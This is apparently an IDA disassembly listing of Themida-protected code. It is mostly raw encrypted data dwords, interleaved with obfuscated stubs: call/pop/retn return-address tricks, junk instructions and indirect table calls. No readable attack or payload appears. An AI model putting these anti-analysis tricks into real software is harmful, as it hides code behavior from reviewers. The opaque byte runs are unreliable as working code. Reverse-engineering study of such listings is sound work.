dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 9F76C351h, 158139Dh, 0FEA1BA2h, 95FFCFBFh, 7E41B81h
dd 7AC5B966h, 0C1958B57h, 5A07E407h, 2BCE8589h, 0BD8B07E7h
dd 7E42449h, 2B9C858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 958B66C3h, 7E41639h
dd 0CE8B6650h, 2BBEB5FFh, 8F0F07E7h, 4, 1CECBA66h, 0A35B589h
dd 95FF07E4h, 7E41B81h, 89D0BF0Fh, 0E4192185h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 342F44A1h, 785ED287h, 198D896Eh, 8D07E426h, 0E72B5085h
dd 1958B07h, 5007E414h, 23959589h, 8E907E4h, 46000000h
dd 0E5B5F7F0h, 0FFB31A0Dh, 0E72BBEB5h, 0BAD7B207h, 2DE41F89h
dd 1B8195FFh, 860F07E4h, 8, 0FD850950h, 5A07E419h, 2BC28589h
dd 0F78107E7h, 0F2C295Dh, 2B5F858Dh, 958907E7h, 7E408CDh
dd 0FF9CB650h, 0E72BBEB5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E626D2BFh
dd 60C3E38Fh, 8FE88166h, 0CE8D4h, 89E90000h, 832C86AEh
dd 9DF9ED24h, 8D89C81Dh, 7E42B49h, 95FF615Fh, 7E41B81h
dd 8D952952h, 5A07E421h, 2BC68589h, 0CE807E7h, 0B7000000h
dd 0F1932ECDh, 604F5CA8h, 89A2D59Eh, 0E426E5B5h, 4685907h
dd 0E9000001h, 0Ah, 4F525438h, 3EB2F386h, 858D9B2Ch, 7E72C56h
dd 0FB8B6653h, 9589505Ah, 7E430BDh, 2D5A858Dh, 0B15707E7h
dd 6A5059ADh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 5A90C351h, 2F27FAFFh, 0FFF88B66h
dd 0E413AD95h, 0FFB70F07h, 850FC085h, 4, 9CF6BF66h, 372FBD80h
dd 0F0007E7h, 1685h, 99D0900h, 0E907E414h, 1504h, 18D9B589h
dd 7BF07E4h, 83543D2Dh, 0E42BFDBDh, 850F0007h, 1Ch, 1981958Bh
dd 0BD8307E4h, 7E73BD9h, 28840F00h, 9000000h, 0E4234195h
dd 5FF85307h, 2BF3858Dh, 8B6607E7h, 14C2E9FEh, 85890000h
dd 7E42EE1h, 0CE9h, 5D958B00h, 8D07E40Ah, 0E72BDE85h, 0BD315007h
dd 7E424F9h, 2C56858Dh, 0EE907E7h, 0F000000h, 0D1FBC6AFh
dd 0C3C2342Ch, 835C3CFBh, 9D895094h, 7E40B89h, 2C39958Bh
dd 0BD8307E4h, 7E42BFDh, 67840F00h, 0E8000000h, 8, 2AAAFB01h
dd 0C0341AF4h, 0CBE2F181h, 8D596C92h, 0E72D7C85h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0BD29F9D3h, 7E40D65h, 39E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0B4205619h
dd 0EDA0C361h, 858DCFFDh, 7E72D65h, 8860Fh, 8D0F0000h
dd 2, 33506160h, 0E40DE5BDh, 0B4858D07h, 8907E72Dh, 0E4017985h
dd 519D0107h, 5007E418h, 28F0Fh, 0D38A0000h, 216995FFh
dd 83F907E4h, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 212EABC3h, 0DF1958Bh, 8BF907E4h
dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 31F57FD6h, 0E4232DBDh, 0F1BD8307h, 7E413h
dd 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h, 7D3h, 14798589h
dd 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h
dd 0B8535017h, 7D3h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh
dd 3B1208BFh, 82D98072h, 8B5FCA80h, 53006AC0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0A10E7C14h
dd 8166813Eh, 81656BD2h, 0E72BDEBDh, 65726F07h, 90840F61h
dd 0F000000h, 0BF0FF9B7h, 56858DF9h, 5007E72Ch, 2D93858Dh
dd 8D5007E7h, 0E72DB485h, 95FF5007h, 7E42169h, 0C60CC483h
dd 0E42C2D85h, 4F684407h, 0FF96A318h, 0E4019DB5h, 0DC858D07h
dd 0FF07E43Bh, 8DD88BD0h, 0E72DB485h, 0D3FF5007h, 2BDE858Dh
dd 8D5007E7h, 0E72C5685h, 0BD835007h, 7E42BFDh, 8D087400h
dd 0E72D7C85h, 8D06EB07h, 0E72D6585h, 858D5007h, 7E72DB4h
dd 6995FF50h, 8307E421h, 840F10C4h, 5, 0B8E28166h, 0F1BD29CCh
dd 0FF07E414h, 0E412C595h, 9CF18107h, 2570AE21h, 0FFh
dd 42D8D8Bh, 0F88307E4h, 57830F05h, 3000000h, 0E4094DBDh
dd 185C707h, 107E401h, 8D000000h, 0E72C1285h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 1D1BCB85h, 0DD9BADA6h, 0AE9D0h, 67260000h, 737D13D0h
dd 87A9F9Dh, 70E9h, 55EF8100h, 0F061152h, 0BD83D7B7h, 7E42BFDh
dd 43840F00h, 0F000000h, 58Bh, 0B70F5700h, 858D59F9h, 7E72C3Dh
dd 0E119D89h, 0BD2B07E4h, 7E4153Dh, 38E9h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 6657D411h, 858DD08Bh, 7E72C1Fh, 0CE9h, 31DD8200h, 3E49F038h
dd 289608F9h, 52858979h, 6A07E72Ch, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 5BB5C350h
dd 83D68B66h, 0E42BFDBDh, 850F0007h, 42h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h, 0F415B268h
dd 8B6694FFh, 8E9FEh, 0A74A0000h, 4D3C1A6Ch, 0BD830724h
dd 7E73BD9h, 0E840F00h, 0F000000h, 9E9CFB7h, 89000011h
dd 0E4328D85h, 441E907h, 49B20000h, 0BA66C08Bh, 0DA81104Eh
dd 0A1CD5F4h, 13F1BD83h, 750007E4h
dd 35BD8309h, 7E409h, 53501974h, 0D4B8C08Bh, 89000007h
dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh
dd 17740007h, 0D4B85350h, 89000007h, 0E4147985h, 0DF9D8D07h
dd 0FF07E6E6h, 81585BD3h, 9EC76DD7h, 0C88B663Fh, 8B53C08Bh
dd 3F6859D7h, 6A000F00h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0E6D4C351h, 0CFA7831Dh
dd 0E93CCCB3h, 0Fh, 0F756F6D5h, 1332DC4Bh, 7FB3D0C7h, 89DB1E4Ch
dd 0E42B71BDh, 0B5006A07h, 89006ABCh, 0E40A859Dh, 0D95FF07h
dd 6A07E423h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0F82BC352h, 850FC085h, 11h, 5820Fh
dd 81660000h, 23EEA5F2h, 0E430658Dh, 0D6858907h, 6607E72Bh
dd 0FC3991BAh, 9589006Ah, 7E42A39h, 6A006Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 241E3FC3h
dd 0C364B19Eh, 58E0Fh, 81660000h, 6A63A0D7h, 0CA8B6600h
dd 0BD09006Ah, 7E40B3Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0F3FD09C3h, 0BA664F53h
dd 858D0585h, 7E72DB4h, 19399D89h, 0E95007E4h, 5, 7A9A75ADh
dd 0E8016AC5h, 0Ah, 0DC9887CAh, 72AB6249h, 0B5895EDFh
dd 7E42735h, 29016A5Fh, 0E4053DBDh, 0E9016A07h, 0Ch, 6504A0A4h
dd 0F09A4BB5h, 1F72EBFBh, 0F01FF68h, 98D8B00h, 8307E423h
dd 0E42BFDBDh, 840F0007h, 4Ch, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 42C35343h, 10E8h, 4BDA4700h
dd 5C9D5E31h, 373EDF12h, 9C7E7AEDh, 0E595336Ch, 5F07E415h
dd 2C33858Dh, 0BF0F07E7h, 1AE9FAh, 95890000h, 7E40AF9h
dd 2C09858Dh, 0B6007E7h, 0E4056D9Dh, 618D8B07h, 6107E401h
dd 0E8F18050h, 7D58050h, 2BD6B5FFh, 0B95207E7h, 2B2CF16Ah
dd 0C295FF5Ah, 3107E72Bh, 0E41E19BDh, 0FC08507h, 1785h
dd 68B0F00h, 29000000h, 0E421BD8Dh, 4DE907h, 8D890000h
dd 7E42561h, 2BDA8589h, 0BF6607E7h, 0B5FF8A70h, 7E72BDAh
dd 95FF71B6h, 7E41921h, 0D2B7D781h, 0C0856890h, 21850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0A36B7C3h, 6AF5C8C4h, 35952310h, 8307E41Eh
dd 0E42BFDBDh, 840F0007h, 3Bh, 2C33858Dh, 6A07E7h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0FD345DC3h, 0A83BBDB0h, 0BD891D76h, 7E4089Dh, 32E9h
dd 9ECA8100h, 8D7DDA32h, 0E72C0985h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 678A4273h
dd 0F1BD2984h, 5007E41Bh, 0B5FFF38Ah, 7E72BD6h, 0FBBEB6BFh
dd 0CE95FF3Ah, 2907E72Bh, 0E422359Dh, 0C085F507h, 2A850Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0A4F8D2C3h, 80089A73h, 0C2812CD2h, 4646C2B9h
dd 2BDA8589h, 8D8B07E7h, 7E407A5h, 0AE9006Ah, 26000000h
dd 3DCB67D7h, 0D137B2C2h, 0C59533D0h, 6A07E420h, 0B5FFFC00h
dd 7E72BDAh, 1658D2Bh, 95FF07E4h, 7E72BC6h, 0C085D78Bh
dd 23850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 8BD569C3h, 0E4219D95h, 0DAB5FF07h
dd 0BA07E72Bh, 49D99753h, 192195FFh, 6A07E4h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0BCEA3CC3h
dd 8C14ABECh, 0FC08584h, 2685h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 15BBA910h
dd 0BFBFE88Ah, 6A0B206Dh, 0D1952900h, 6807E423h, 80h, 8E9h
dd 0C7FF9D00h, 0FFA5479Ch, 6AD68B1Fh, 810F03h, 6A000000h
dd 0FE8B6600h, 0BD89006Ah, 7E41609h, 68h, 50006AC0h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 4550B265h, 7FC7B8FCh, 13E99D30h, 0A1000000h, 0AE2E2EAEh
dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0B5FFD97Ch, 7E72C52h
dd 14D9B589h, 95FF07E4h, 7E41FD5h, 0FFFF883h, 56A85h, 6820F00h
dd 8B000000h, 0E426758Dh, 0C085FF07h, 8307E736h, 0E736C0BDh
dd 840F0207h, 477h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 92C35747h, 80B2705Dh, 0C2818FC6h, 57623984h
dd 243B858Dh, 8166005Bh, 0FFB08ECAh, 8D24B6D0h, 5B1E8E85h
dd 9E800h, 0C9F70000h, 8C310934h, 899E7BB3h, 0E419AD85h
dd 0D0FF5A07h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 3C35141h, 43484B73h, 24122B48h, 611CD781h, 0C08B18D4h
dd 818BEA80h, 1C8E36CAh, 0F1BD835Ch, 7E413h, 0BD830975h
dd 7E40935h, 50197400h, 0B8C08B53h, 7D8h, 14798589h, 9D8D07E4h
dd 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h, 0B8535017h
dd 7D8h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B9C35747h, 0BF66BF4Dh
dd 0C08B7AACh, 165DBD8Bh, 3F6807E4h, 6A000F00h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 479C352h, 0B13DC8ACh, 8D8B6D49h, 7E4188Dh, 9D89006Ah
dd 7E40199h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 63A8FEC3h, 370EFAB4h, 230D95FFh
dd 0C08507E4h, 0DE8h, 0FED26700h, 9689617Ah, 0E2CBC6FFh
dd 8960D2F4h, 0E42301BDh, 0BE907h, 5D9F0000h, 154AB9BBh
dd 0AF4668FCh, 895F6117h, 0E72BD685h, 576DBA07h, 0FF6803D5h
dd 81000F01h, 5B5A55F1h, 0CA816644h, 0BD83C158h, 7E42BFDh
dd 4A840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 2DFBC352h, 0A463D86Ch
dd 0F9286BCh, 680h, 0A98D3300h, 8907E42Fh, 0E43051B5h
dd 33858D07h, 0F07E72Ch, 41E9CEBFh, 89000000h, 0E40DA99Dh
dd 9858D07h, 6A07E72Ch, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 4646C353h, 0C76813EDh
dd 0E0694EAFh, 0E9D3B70Fh, 8, 0F07BFDC1h, 67000B12h, 4D8D0350h
dd 0FF07E427h, 0E72BD6B5h, 0BDB52907h, 0FF07E422h, 0E72BCE95h
dd 68B0F07h, 8B000000h, 0E4266995h, 11BD8B07h, 8907E42Eh
dd 0E72BDA85h, 0DA816607h, 85C72ADDh, 7E41831h, 0
; ---------------------------------------------------------------------------
mov di, 0CD1Bh
cmp dword ptr [ebp+7E72BDAh], 0
jz loc_5B860C
pusha
cmc
mov ch, 6Bh
popa
lea eax, [ebp+7E72EB8h]
sub di, 816Bh
push eax
mov edi, [ebp+7E42115h]
push 1
push 0
push edx
call sub_5B844D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B844D proc near ; CODE XREF: Themida_:005B8445p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5B844D endp
; ---------------------------------------------------------------------------
db 20h, 29h, 8Dh
dd 7E42165h, 0BE8h, 0B8924E00h, 45D4AF0Dh, 5FBF0D48h, 0E2C494BFh
dd 0B5FF594Eh, 7E72BDAh, 0D295FFFCh, 107E72Bh, 0E400FD8Dh
dd 0DAB5FF07h, 0F807E72Bh, 192195FFh, 820F07E4h, 6, 111B529h
dd 0FF6807E4h, 81000F01h, 0C1F795C9h, 0FDBD835Bh, 7E42Bh
dd 2A840Fh, 0CE90000h, 3E000000h, 9120E2Fh, 0C00C5A17h
dd 8D6A3E48h, 0E72C3385h, 2800F07h, 0B2000000h, 5BE95Eh
dd 0BD8B0000h, 7E4181Dh, 2C09858Dh, 6A07E7h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0D187C3h
dd 12E9EDh, 0F5200000h, 976E2100h, 0CA97D276h, 0CECE0DD1h
dd 20A3C49h, 14E9h, 0AAAD4F00h, 0ACAECF6Ch, 4892FEBAh
dd 5C51CD80h, 27CC0C06h, 6A50C1h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0F53D24C3h, 6B93487Bh
dd 0D6B5FF24h, 6A07E72Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 760BC356h, 707E062Eh
dd 0FC3135ADh, 0A630BF66h, 2BCE95FFh, 6A07E7h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 0B868CEC3h, 9E823h, 0A6A60000h, 6E406420h, 6604F380h
dd 665FCB8Bh, 89FC64BAh, 0E72BDA85h, 55BD2B07h, 8B07E41Dh
dd 0E40D7D95h, 0DAB5FF07h, 907E72Bh, 0E40125BDh, 0CA95FF07h
dd 8907E72Bh, 0E426419Dh, 0DAB5FF07h, 8907E72Bh, 0E418159Dh
dd 2195FF07h, 6607E419h, 4358CA81h
; ---------------------------------------------------------------------------
loc_5B860C: ; CODE XREF: Themida_:005B8423j
jmp near ptr dword_5B74C8+7ECh
; ---------------------------------------------------------------------------
sub [ebp+7E40DE5h], esi
push dword ptr [ebp+7E73723h]
add edx, 5B6AC89Ch
call dword ptr [ebp+7E43061h]
mov edi, [ebp+7E40291h]
mov eax, [ebp+7E42215h]
push 0
push edi
call sub_5B8640
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8640 proc near ; CODE XREF: Themida_:005B8638p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5B8640 endp
; ---------------------------------------------------------------------------
dd 0CCC8D57Ch, 44E98483h, 8B000005h, 0BD8D89F9h, 8D07E406h
dd 0E72ED8B5h, 0ADB58907h, 107E424h, 0E42EED95h, 0D6858D07h
dd 2907E6DBh, 0E4159D95h, 99952907h, 0FF07E431h, 93ED80D0h
dd 0F781006Ah, 2EAE174Ah, 166595FFh, 8B6607E4h, 89F38BCEh
dd 0E421F5B5h, 0D6858D07h, 8B07E6DBh, 0E4008995h, 29D0FF07h
dd 0E405F9B5h, 6A006A07h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 7755C350h, 6850FB3h
dd 89000000h, 0E408ED85h, 6595FF07h, 8B07E416h, 83CA8BC0h
dd 0E413F1BDh, 9750007h, 935BD83h, 740007E4h, 8B535019h
dd 7D9B8C0h, 85890000h, 7E41479h, 0E9F09D8Dh, 0D3FF07E6h
dd 0BD83585Bh, 7E40935h, 50177400h, 7D9B853h, 85890000h
dd 7E41479h, 0E6DF9D8Dh, 0D3FF07E6h, 9531585Bh, 7E40455h
dd 99BD8950h, 5A07E401h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0B7AD8AC3h, 50FFB70Fh
dd 2C698D8Bh, 0CE8B07E4h, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0D5602CC3h, 0B0BA8614h
dd 29958B30h, 5307E423h, 2E59D8Dh, 38B07E4h, 438B0389h
dd 50438950h, 36BC9D8Dh, 38B07E7h, 0BF5B0389h, 909A0E4h
dd 1275BD89h, 6A07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0F6C35141h, 0E91EF8BCh, 0Fh, 0ACAECF6Ch
dd 4892FEBAh, 5C51CD80h, 2BCC0C06h, 0E40D7DBDh, 0BC858D07h
dd 0B107E736h, 958D89BCh, 5007E42Ah, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 88C35646h, 0A84299AFh, 8951F4B7h
dd 0E42F919Dh, 89606A07h, 0E43311B5h, 0E5858D07h, 907E402h
dd 0E42D2985h, 0FB8B5007h, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 9529E7C3h
dd 7E414E9h, 0B850Fh, 820F0000h, 5, 5C99C8B9h, 89006A5Eh
dd 0E42299B5h, 18006807h, 8D8B0000h, 7E42639h, 0DE95253h
dd 0E6000000h, 67661CD9h, 0D6868890h, 96FFE6D6h, 595FF5Fh
dd 0E907E414h, 8, 51A10BF9h, 0EE2B14E8h, 0F1958960h, 8907E431h
dd 0E42DE99Dh, 95FF6107h, 7E40971h, 26D5958Bh, 0B5FF07E4h
dd 7E73723h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 31C35242h, 5882568h, 81B11D9Ch, 89A8E3F7h, 0FBBF0F52h
dd 0FFD68B66h, 0E4306195h, 0D58D0107h, 8D07E412h, 0E402E585h
dd 6860F07h, 8B000000h, 0E42689BDh, 18408B07h, 25018D89h
dd 85C707E4h, 7E4065Dh, 0
; ---------------------------------------------------------------------------
movsx ecx, di
cmp dword ptr [ebp+7E42BFDh], 0
jz loc_5B8991
push 0
push edi
call sub_5B895B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B895B proc near ; CODE XREF: Themida_:005B8953p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5B895B endp
; ---------------------------------------------------------------------------
align 4
jge short near ptr byte_5B8990
mov cx, 43DCh
cmp eax, 8Ch
jnb loc_5B8ADE
jmp loc_5B89A2
; ---------------------------------------------------------------------------
dw 8A0Fh
dd 9, 3800Fh, 0CD800000h
byte_5B8990 db 0Ah ; CODE XREF: Themida_:005B896Cj
; ---------------------------------------------------------------------------
loc_5B8991: ; CODE XREF: Themida_:005B894Aj
cmp eax, 98h
jnb loc_5B8ADE
mov ecx, [ebp+7E41A85h]
loc_5B89A2: ; CODE XREF: Themida_:005B897Dj
lea eax, [ebp+5B243Bh]
mov edi, [ebp+7E4191Dh]
call eax
movsx ecx, bx
lea eax, [ebp+5B1E8Eh]
or [ebp+7E4191Dh], edi
call eax
push 0
push edi
call sub_5B89CC
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B89CC proc near ; CODE XREF: Themida_:005B89C4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5B89CC endp
; ---------------------------------------------------------------------------
dd 8DF2989Dh, 91D2A022h, 69958B9Ch, 8B07E42Ch, 0CBB966C0h
dd 12E9D2h, 70AD0000h, 98B35BE2h, 0ACC8138h, 159D4132h
dd 579E1275h, 13F1BD83h, 750007E4h, 35BD8309h, 7E409h
dd 53501974h, 0C6B8C08Bh, 8900000Bh, 0E4147985h, 0F09D8D07h
dd 0FF07E6E9h, 83585BD3h, 0E40935BDh, 17740007h, 0C6B85350h
dd 8900000Bh, 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 8B585BD3h
dd 0E424298Dh, 69BD8907h, 8B07E418h, 0FB8B66C0h, 1CA5B589h
dd 0F88307E4h, 4C850FFFh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 3DF9C356h
dd 0F114DEB8h, 0C7F7C680h, 0E42A7585h, 7, 6830F00h, 81000000h
dd 0A8C5B3E2h, 9AE96Fh, 0BD890000h, 7E41EB1h, 17E9h, 835A5200h
dd 850F01F8h, 0Ch, 0ABD9523h, 0CCE907E4h, 0F9000000h, 0FFF1DBE9h
dd 3E24BFFFh
db 0BEh, 39h
; ---------------------------------------------------------------------------
loc_5B8ADE: ; CODE XREF: Themida_:005B8977j
; Themida_:005B8996j
mov eax, eax
mov edx, [ebp+7E41F39h]
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5B8AF8
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B8B11
loc_5B8AF8: ; CODE XREF: Themida_:005B8AEDj
push eax
push ebx
mov eax, eax
mov eax, 7DDh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E9F0h]
call ebx ; _iob
pop ebx
pop eax
loc_5B8B11: ; CODE XREF: Themida_:005B8AF6j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B8B31
push eax
push ebx
mov eax, 7DDh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E6DFh]
call ebx ; _iob
pop ebx
pop eax
loc_5B8B31: ; CODE XREF: Themida_:005B8B18j
movsx edx, bx
mov eax, eax
mov ecx, 1572F4BBh
mov [ebp+7E41FD9h], esi
jmp loc_5B8DB0
; ---------------------------------------------------------------------------
mov [ebp+7E40E4Dh], ebx
lea eax, [ebp+7E734C0h]
push 0
push ebx
call sub_5B8B5D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8B5D proc near ; CODE XREF: Themida_:005B8B55p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5B8B5D endp
; ---------------------------------------------------------------------------
db 34h, 55h, 2Fh
; ---------------------------------------------------------------------------
mov edi, 0CE9h
loc_5B8B75: ; CODE XREF: Themida_:005B8B7Bj
add [ecx+59774B10h], ch
loope loc_5B8B75
; ---------------------------------------------------------------------------
db 0CDh, 0B9h, 24h
dd 858968F3h, 7E736B8h, 1C51958Bh, 858907E4h, 7E418FDh
dd 55E9h, 7D8D8900h, 8D07E41Ch, 0E732C885h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0BADA3444h, 0F8DC89Ch, 83h, 7D850100h, 0BF07E416h, 225F77F7h
dd 459D8940h, 8907E403h, 0E736B885h, 0CEB70F07h, 49AFE981h
dd 346A304Ch, 30C1858Dh, 0FF5007E4h, 0E736B8B5h, 0FF006A07h
dd 0E4216195h, 7F88307h, 168840Fh, 8C660000h, 4C3F6DBh
dd 102850Fh, 85C60000h, 7E42C2Dh, 0B8526856h, 0B5FF9CA8h
dd 7E4019Dh, 3BDC858Dh, 0D0FF07E4h, 68046Ah, 6A000010h
dd 0FF006A64h, 2B8589D0h, 0C607E737h, 0E42C2D85h, 9B684707h
dd 0FFEC18ACh, 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 8BD0FFD0h
dd 2D85C6F0h, 4F07E42Ch, 2F266168h, 0E1B5FFC6h, 8D07E40Dh
dd 0E43BDC85h, 8DD0FF07h, 0E737279Dh, 286A5307h, 85D0FF56h
dd 0C60075C0h, 0E42C2D85h, 98684107h, 0FFDB8764h, 0E40DE1B5h
dd 0DC858D07h, 0FF07E43Bh, 448589D0h, 0C607E737h, 0E42C2D85h
dd 0A4684C07h, 0FF80A4E7h, 0E40DE1B5h, 0DC858D07h, 0FF07E43Bh
dd 2B9D8BD0h, 8D07E737h, 8D53045Bh, 0E737309Dh, 6A5307h
dd 9D8BD0FFh, 7E7372Bh, 103C7h, 43C70000h, 20Ch, 219D8B00h
dd 0C707E418h, 0E4014985h, 7, 6A006A00h, 8B006A00h, 0E7372B9Dh
dd 6A5307h, 3727B5FFh, 95FF07E7h, 7E73744h, 2C2D85C6h
dd 684507E4h, 92A5F797h, 1DE1B5FFh, 858D07E4h, 7E43BDCh
dd 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 372B9D8Bh
dd 43C707E7h, 0Ch, 6A006A00h, 2B9D8B00h, 5307E737h, 0B5FF006Ah
dd 7E73727h, 374495FFh, 0B5FF07E7h, 7E73727h, 97195FFh
dd 6A07E4h, 166595FFh, 0B58907E4h, 7E412D9h, 2BA59589h
dd 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 2B0173C3h, 664617C5h, 67AF781h
; ---------------------------------------------------------------------------
loc_5B8DB0: ; CODE XREF: Themida_:005B8B41j
lea eax, [ebp+7E76AE8h]
push 0
push ebp
call sub_5B8DC1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8DC1 proc near ; CODE XREF: Themida_:005B8DB9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5B8DC1 endp
; ---------------------------------------------------------------------------
db 7Fh, 0B3h, 0FCh
dd 3848BAEEh, 0BA66B3D1h, 0F50E6CAh, 680h, 7BCA8100h, 6453815Ah
dd 35FFh, 0BD8B0000h, 7E40B99h, 258964h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 0F27BC355h, 0F0B16C3Eh, 5DBD83F8h, 7E401h, 7F840Fh
dd 958B0000h, 7E40219h, 2015BD83h, 0F0107E4h, 6C85h, 81DE8000h
dd 3B44BD80h, 0F0007E7h, 5C85h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 508CA801h
dd 5ACF8B52h, 11E9605Fh, 0C0000000h, 276A3E48h, 0B814371Fh
dd 0FE0CD82Fh, 0EFA4240Ch, 0DE8h, 0DDED8000h, 0AA6492C2h
dd 6FB12B3Dh, 0F9BE5FB0h, 586BB026h, 1B9E961h, 0B70F0000h
dd 0BADB33FFh, 1EFB608Ch, 6AC033h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 142B4AC3h, 136FA0Ch
dd 0E40B9D8Dh, 3F0F4007h, 8F640B07h, 5, 4C48300h, 73826CBAh
dd 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 533EC04h, 0DC6F6D15h, 83F9F976h, 840FFFFBh
dd 29h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h
dd 0A6C35747h, 0E9B8CCEFh, 115h, 0A07905BAh, 8CE92Dh, 6A0000h
